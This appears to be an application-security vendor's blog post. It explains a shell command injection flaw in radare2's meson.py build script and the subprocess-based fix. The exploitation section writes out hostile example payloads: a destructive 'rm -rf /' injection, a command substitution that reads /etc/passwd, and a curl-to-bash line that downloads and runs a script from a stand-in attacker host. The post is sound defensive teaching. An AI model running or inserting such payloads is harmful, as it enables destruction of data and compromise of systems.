Back to Blog
critical SEVERITY5 min read

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.

O
By Orbis AppSec
Published July 9, 2026Reviewed July 9, 2026

Answer Summary

Shell command injection (CWE-78) occurs in Python when user-controllable input is passed to shell-executing functions like `os.system()`. In this case, `meson.py` used `os.system(f'git pull {remote} master')` where the `remote` variable could contain shell metacharacters. The fix replaces this with `subprocess.call(['git', 'pull', remote, 'master'])`, which passes arguments as a list without shell interpretation, preventing injection attacks.

Vulnerability at a Glance

cweCWE-78
fixReplace os.system() with subprocess.call() using argument list
riskArbitrary command execution with build process privileges
languagePython
root causeUsing os.system() with string interpolation allows shell metacharacter injection
vulnerabilityShell Command Injection

Introduction

In the radare2 reverse engineering framework's build system, we discovered a critical command injection vulnerability in sys/meson.py at line 264. The file handles build configuration and repository synchronization, but a flaw in how git commands were executed created a serious security risk that could allow attackers to execute arbitrary commands with the privileges of the build process.

The vulnerable code used Python's os.system() function with an f-string to construct a git pull command:

os.system(f'git pull {remote} master')

This pattern is dangerous because the remote variable is derived from parsing git remote output, and if an attacker could influence this value—through a malicious repository configuration or by manipulating upstream remotes—they could inject shell metacharacters to execute arbitrary commands.

The Vulnerability Explained

Shell command injection occurs when an application constructs a command string using untrusted input and passes it to a shell for execution. In this case, the meson.py script was building a git command dynamically:

# Vulnerable code (before fix)
remote = re.search(r'(.*?)\t.*radareorg/radare2 \(fetch\)', upstream_remote).group(1)
# ... exception handling sets fallback ...
remote = 'https://github.com/radareorg/radare2'
os.system(f'git pull {remote} master')

The remote variable is extracted from the output of a git remote command using a regex. While the code has a fallback to a safe URL, the primary path uses whatever the regex captures from the system's git configuration.

How Could This Be Exploited?

Consider an attacker who has write access to the repository's git configuration or can influence environment variables. They could craft a malicious remote name like:

https://github.com/radareorg/radare2; rm -rf / #

When interpolated into the f-string and executed via os.system(), this becomes:

git pull https://github.com/radareorg/radare2; rm -rf / # master

The shell interprets the semicolon as a command separator, executing rm -rf / with whatever privileges the build process has. The # comments out the remaining master argument.

Other dangerous payloads include:
- $(cat /etc/passwd > /tmp/leaked) — command substitution to exfiltrate data
- || curl attacker.com/shell.sh | bash — download and execute malicious scripts
- `id` — backtick command substitution

Real-World Impact

For a build system like radare2's meson.py, the impact is significant:

  1. Build Server Compromise: CI/CD systems running this script could be fully compromised
  2. Supply Chain Attacks: Malicious code could be injected into build artifacts
  3. Credential Theft: Build environments often have access to signing keys, deployment credentials, and other secrets
  4. Lateral Movement: Compromised build servers can be used as pivot points into internal networks

The Fix

The fix replaces os.system() with subprocess.call() using a list of arguments:

Before (Vulnerable)

os.system(f'git pull {remote} master')

After (Fixed)

subprocess.call(['git', 'pull', remote, 'master'])

This change is deceptively simple but fundamentally alters how the command is executed:

  1. No Shell Interpretation: When subprocess.call() receives a list, it executes the program directly without invoking a shell. The first element ('git') is the executable, and subsequent elements are passed as literal arguments.

  2. Arguments Are Atomic: Even if remote contains ; rm -rf /, it's passed as a single argument to git, not interpreted as multiple shell commands. Git will simply fail to find a remote with that name.

  3. Default Safety: subprocess.call() defaults to shell=False, making the safe behavior the default.

The PR also notes that similar patterns exist at lines 301 and 305 in the same file, which should be reviewed for the same vulnerability pattern.

Prevention & Best Practices

Never Use os.system()

The os.system() function always invokes a shell and should be considered deprecated for security-sensitive code. Replace all instances with subprocess module equivalents.

Use Argument Lists, Not Strings

# DANGEROUS - shell interprets the string
subprocess.call('git pull ' + remote + ' master', shell=True)

# SAFE - no shell interpretation
subprocess.call(['git', 'pull', remote, 'master'])

Explicitly Set shell=False

Even though shell=False is the default, being explicit improves code clarity and prevents accidental changes:

subprocess.call(['git', 'pull', remote, 'master'], shell=False)

Use shlex.quote() When Shell Is Unavoidable

In rare cases where shell features are genuinely needed, use shlex.quote() to escape arguments:

import shlex
# Still not ideal, but safer
os.system(f'git pull {shlex.quote(remote)} master')

Static Analysis Integration

Configure linters to flag dangerous patterns:
- Semgrep rules for os.system() and shell=True
- Bandit security linter for Python
- Custom pre-commit hooks

Key Takeaways

  • The os.system() function in meson.py:264 was a ticking time bomb — any influence over the remote variable could lead to full system compromise
  • Build scripts are high-value targets because they often run with elevated privileges and have access to sensitive credentials
  • The regex extraction of remote from git output created an untrusted data flow that reached a dangerous sink
  • Switching from string interpolation to argument lists eliminates entire classes of injection attacks without requiring input validation
  • Similar patterns at meson.py:301 and meson.py:305 should be audited for the same vulnerability

How Orbis AppSec Detected This

  • Source: The remote variable extracted via regex from upstream_remote git output at line 262
  • Sink: os.system(f'git pull {remote} master') at sys/meson.py:264
  • Missing control: No sanitization or escaping of the remote variable before shell execution; use of os.system() instead of safe subprocess APIs
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced os.system() with subprocess.call() using an argument list, eliminating shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in meson.py demonstrates why shell command construction requires extreme care. The combination of os.system() with f-string interpolation created a direct path from potentially attacker-influenced data to arbitrary command execution. The fix—using subprocess.call() with an argument list—is both simple and comprehensive, eliminating shell interpretation entirely.

When writing build scripts or any code that executes system commands, always default to the safest APIs available. In Python, that means subprocess with argument lists and shell=False. Your future self (and your security team) will thank you.

References

Frequently Asked Questions

What is shell command injection?

Shell command injection occurs when an attacker can insert shell metacharacters (like `;`, `|`, `$()`) into a command string that gets executed by the system shell, allowing them to run arbitrary commands.

How do you prevent shell command injection in Python?

Use subprocess module functions with `shell=False` (the default) and pass commands as a list of arguments rather than a single string. Never use `os.system()` or `shell=True` with untrusted input.

What CWE is shell command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent shell command injection?

No, input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safest approach is to avoid shell interpretation entirely by using subprocess with argument lists.

Can static analysis detect shell command injection?

Yes, static analysis tools can detect patterns like `os.system()` with variable interpolation or `subprocess` calls with `shell=True` and flag them as potential injection points.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #26194

Related Articles

high

How ReDoS happens in Node.js path-to-regexp and how to fix it

CVE-2024-52798 is a Regular Expression Denial of Service (ReDoS) vulnerability in the `path-to-regexp` package's 0.1.x branch, which remains unpatched in that legacy line. Because `path-to-regexp` is a transitive dependency pulled in by `websocket-driver` and many other popular Node.js packages, any application that processes attacker-controlled URL paths through an affected version is at risk of catastrophic backtracking that can freeze the event loop. Upgrading `websocket-driver` to 0.7.5 — an

high

How Denial of Service via Crafted Long-Path Tar Archives Happens in Node.js and How to Fix It

CVE-2026-73566 is a Denial of Service vulnerability in node-tar that allows attackers to craft specially malformed tar archives with excessively long file paths to exhaust system resources and crash applications. The fix upgrades tar from version 7.5.19 to 7.5.21, which implements proper path length validation to prevent this attack vector.

high

How Denial of Service via Memory Exhaustion happens in Socket.IO Parser and how to fix it

CVE-2026-69185 is a high-severity Denial of Service vulnerability in the `socket.io-parser` package that allows attackers to exhaust server memory by sending specially crafted packets. The fix upgrades `socket.io-parser` from version 4.2.4 to 4.2.7 (and parallel branches to 3.4.5 and 3.3.6) in `client/package-lock.json`, closing the attack surface against malicious clients. This kind of memory-exhaustion flaw is particularly dangerous in real-time applications where the parser handles a continuo

high

How express-check-csurf-middleware-usage happens in JavaScript/Express and how to fix it

A high-severity CSRF vulnerability was identified in `tower_game/index.js` where the Express application lacked any Cross-Site Request Forgery protection middleware. Without CSRF validation, an attacker could craft malicious pages that trick authenticated users into submitting unwanted requests to the game server. The fix adds `csurf` middleware with cookie-based token storage in just four lines of code.

high

How Quadratic CPU Consumption Happens in js-yaml and How to Fix It

A high-severity denial-of-service vulnerability in js-yaml versions prior to 4.3.1 allowed attackers to craft malicious YAML documents with !!omap tags that triggered quadratic CPU consumption during parsing. This fix upgrades js-yaml from 4.1.1 to 4.3.1 using npm overrides, protecting applications from algorithmic complexity attacks that could freeze or crash Node.js services.

critical

How Denial of Service via Gzip Bomb happens in Node.js and how to fix it

CVE-2026-59873 is a critical Denial of Service vulnerability in node-tar versions prior to 7.5.19, where a maliciously crafted gzip bomb can exhaust server resources when extracting archives. The fix upgrades the `tar` dependency from version 7.5.15 to 7.5.21 in `package-lock.json` and pins the version via an `overrides` block in `package.json`. Any application that processes user-supplied tar archives is at risk of resource exhaustion, making this an urgent upgrade.